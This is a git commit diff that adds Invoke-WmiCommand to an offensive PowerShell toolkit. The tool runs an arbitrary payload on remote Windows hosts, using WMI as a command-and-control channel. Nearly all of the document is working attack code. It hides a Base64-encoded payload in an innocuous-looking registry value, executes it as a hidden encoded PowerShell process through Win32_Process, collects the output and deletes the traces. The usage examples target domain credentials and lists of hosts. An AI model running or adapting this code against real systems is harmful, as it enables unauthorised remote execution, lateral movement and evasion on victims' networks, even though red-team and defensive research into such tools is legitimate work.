Adding Invoke-WmiCommand
This commit is contained in:
parent
5ce61e40f5
commit
03ed2adb56
|
|
@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID =
|
|||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1',
|
||||
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md'
|
||||
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
|
|
|||
|
|
@ -0,0 +1,334 @@
|
|||
#Requires -Version 2
|
||||
|
||||
function Invoke-WmiCommand {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Executes a PowerShell ScriptBlock on a target computer using WMI as a
|
||||
pure C2 channel.
|
||||
|
||||
Author: Matthew Graeber
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
|
||||
computer using WMI as a pure C2 channel. It does this by using the
|
||||
StdRegProv WMI registry provider methods to store a payload into a
|
||||
registry value. The command is then executed on the victim system and
|
||||
the output is stored in another registry value that is then retrieved
|
||||
remotely.
|
||||
|
||||
.PARAMETER Payload
|
||||
|
||||
Specifies the payload to be executed on the remote system.
|
||||
|
||||
.PARAMETER RegistryKeyPath
|
||||
|
||||
Specifies the registry key where the payload and payload output will
|
||||
be stored.
|
||||
|
||||
.PARAMETER RegistryPayloadValueName
|
||||
|
||||
Specifies the registry value name where the payload will be stored.
|
||||
|
||||
.PARAMETER RegistryResultValueName
|
||||
|
||||
Specifies the registry value name where the payload output will be
|
||||
stored.
|
||||
|
||||
.PARAMETER ComputerName
|
||||
|
||||
Runs the command on the specified computers. The default is the local
|
||||
computer.
|
||||
|
||||
Type the NetBIOS name, an IP address, or a fully qualified domain
|
||||
name of one or more computers. To specify the local computer, type
|
||||
the computer name, a dot (.), or "localhost".
|
||||
|
||||
This parameter does not rely on Windows PowerShell remoting. You can
|
||||
use the ComputerName parameter even if your computer is not
|
||||
configured to run remote commands.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
Specifies a user account that has permission to perform this action.
|
||||
The default is the current user. Type a user name, such as "User01",
|
||||
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
|
||||
object, such as an object that is returned by the Get-Credential
|
||||
cmdlet. When you type a user name, you will be prompted for a
|
||||
password.
|
||||
|
||||
.PARAMETER Impersonation
|
||||
|
||||
Specifies the impersonation level to use. Valid values are:
|
||||
|
||||
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
|
||||
|
||||
1: Anonymous (Hides the credentials of the caller.)
|
||||
|
||||
2: Identify (Allows objects to query the credentials of the caller.)
|
||||
|
||||
3: Impersonate (Allows objects to use the credentials of the caller.)
|
||||
|
||||
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
|
||||
|
||||
.PARAMETER Authentication
|
||||
|
||||
Specifies the authentication level to be used with the WMI connection. Valid values are:
|
||||
|
||||
-1: Unchanged
|
||||
|
||||
0: Default
|
||||
|
||||
1: None (No authentication in performed.)
|
||||
|
||||
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
|
||||
|
||||
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
|
||||
|
||||
4: Packet (Authentication is performed on all the data that is received from the client.)
|
||||
|
||||
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
|
||||
|
||||
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
|
||||
|
||||
.PARAMETER EnableAllPrivileges
|
||||
|
||||
Enables all the privileges of the current user before the command
|
||||
makes the WMI call.
|
||||
|
||||
.PARAMETER Authority
|
||||
|
||||
Specifies the authority to use to authenticate the WMI connection.
|
||||
You can specify standard NTLM or Kerberos authentication. To use
|
||||
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
|
||||
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
|
||||
specify kerberos:<DomainName\ServerName>. You cannot include the
|
||||
authority setting when you connect to the local computer.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\>$Hosts = Get-Content hostnames.txt
|
||||
PS C:\>$Payload = Get-Content payload.ps1
|
||||
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
|
||||
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\>$Payload = Get-Content payload.ps1
|
||||
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
|
||||
|
||||
.INPUTS
|
||||
|
||||
System.String[]
|
||||
|
||||
Accepts one or more host names/IP addresses over the pipeline.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.Management.Automation.PSObject
|
||||
|
||||
Outputs a custom object consisting of the target computer name and
|
||||
the output of the command executed.
|
||||
|
||||
.NOTES
|
||||
|
||||
In order to receive the output from your payload, it must return
|
||||
actual objects. For example, Write-Host doesn't return objects
|
||||
rather, it writes directly to the console. If you're using
|
||||
Write-Host in your scripts though, you probably don't deserve to get
|
||||
the output of your payload back. :P
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter( Mandatory = $True )]
|
||||
[ScriptBlock]
|
||||
$Payload,
|
||||
|
||||
[String]
|
||||
[ValidateSet( 'HKEY_LOCAL_MACHINE',
|
||||
'HKEY_CURRENT_USER',
|
||||
'HKEY_CLASSES_ROOT',
|
||||
'HKEY_USERS',
|
||||
'HKEY_CURRENT_CONFIG' )]
|
||||
$RegistryHive = 'HKEY_CURRENT_USER',
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$RegistryPayloadValueName = 'Seed',
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$RegistryResultValueName = 'Value',
|
||||
|
||||
[Parameter( ValueFromPipeline = $True )]
|
||||
[Alias('Cn')]
|
||||
[String[]]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$ComputerName = 'localhost',
|
||||
|
||||
[Management.Automation.PSCredential]
|
||||
[Management.Automation.CredentialAttribute()]
|
||||
$Credential,
|
||||
|
||||
[Management.ImpersonationLevel]
|
||||
$Impersonation,
|
||||
|
||||
[System.Management.AuthenticationLevel]
|
||||
$Authentication,
|
||||
|
||||
[Switch]
|
||||
$EnableAllPrivileges,
|
||||
|
||||
[String]
|
||||
$Authority
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
switch ($RegistryHive) {
|
||||
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
|
||||
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
|
||||
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
|
||||
'HKEY_USERS' { $Hive = 2147483651 }
|
||||
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
|
||||
}
|
||||
|
||||
$WmiMethodArgs = @{}
|
||||
|
||||
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
|
||||
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
|
||||
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
|
||||
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
|
||||
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
|
||||
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
|
||||
|
||||
$AccessPermissions = @{
|
||||
KEY_QUERY_VALUE = 1
|
||||
KEY_SET_VALUE = 2
|
||||
KEY_CREATE_SUB_KEY = 4
|
||||
KEY_CREATE = 32
|
||||
DELETE = 65536
|
||||
}
|
||||
|
||||
# These are all of the registry permissions we'll require
|
||||
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
|
||||
$AccessPermissions['KEY_SET_VALUE'] -bor
|
||||
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
|
||||
$AccessPermissions['KEY_CREATE'] -bor
|
||||
$AccessPermissions['DELETE']
|
||||
}
|
||||
|
||||
PROCESS {
|
||||
foreach ($Computer in $ComputerName) {
|
||||
# Pass the individual computer name to Invoke-WmiMethod
|
||||
$WmiMethodArgs['ComputerName'] = $Computer
|
||||
|
||||
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
|
||||
|
||||
if (-not $Result.bGranted) {
|
||||
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
|
||||
}
|
||||
|
||||
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
|
||||
|
||||
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
}
|
||||
|
||||
# Prep the script runner payload from the remote system
|
||||
$PayloadRunnerArgs = @"
|
||||
`$Hive = '$Hive'
|
||||
`$RegistryKeyPath = '$RegistryKeyPath'
|
||||
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
|
||||
`$RegistryResultValueName = '$RegistryResultValueName'
|
||||
`n
|
||||
"@
|
||||
|
||||
$RemotePayloadRunner = $PayloadRunnerArgs + {
|
||||
$WmiMethodArgs = @{
|
||||
Namespace = 'Root\default'
|
||||
Class = 'StdRegProv'
|
||||
}
|
||||
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
|
||||
|
||||
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
|
||||
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
|
||||
|
||||
$SerilizedPayloadResult = Invoke-Expression ($Payload) | % {
|
||||
[Management.Automation.PSSerializer]::Serialize($_, 4)
|
||||
}
|
||||
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
|
||||
}
|
||||
}
|
||||
|
||||
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
|
||||
|
||||
$Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
|
||||
|
||||
# Execute the payload runner on the remote system
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
|
||||
|
||||
Start-Sleep -Seconds 5
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||
|
||||
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
|
||||
|
||||
if ($Result.ReturnValue -ne 0) {
|
||||
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||
|
||||
$SerilizedPayloadResult = $Result.sValue
|
||||
$PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
|
||||
|
||||
$FinalResult = New-Object PSObject -Property @{
|
||||
PSComputerName = $Computer
|
||||
PayloadOutput = $PayloadResult
|
||||
}
|
||||
|
||||
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
|
||||
|
||||
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
|
||||
|
||||
return $FinalResult
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -22,6 +22,10 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca
|
|||
|
||||
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
|
||||
|
||||
#### `Invoke-WmiCommand`
|
||||
|
||||
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
|
||||
|
||||
## ScriptModification
|
||||
|
||||
**Modify and/or prepare scripts for execution on a compromised machine.**
|
||||
|
|
|
|||
Loading…
Reference in New Issue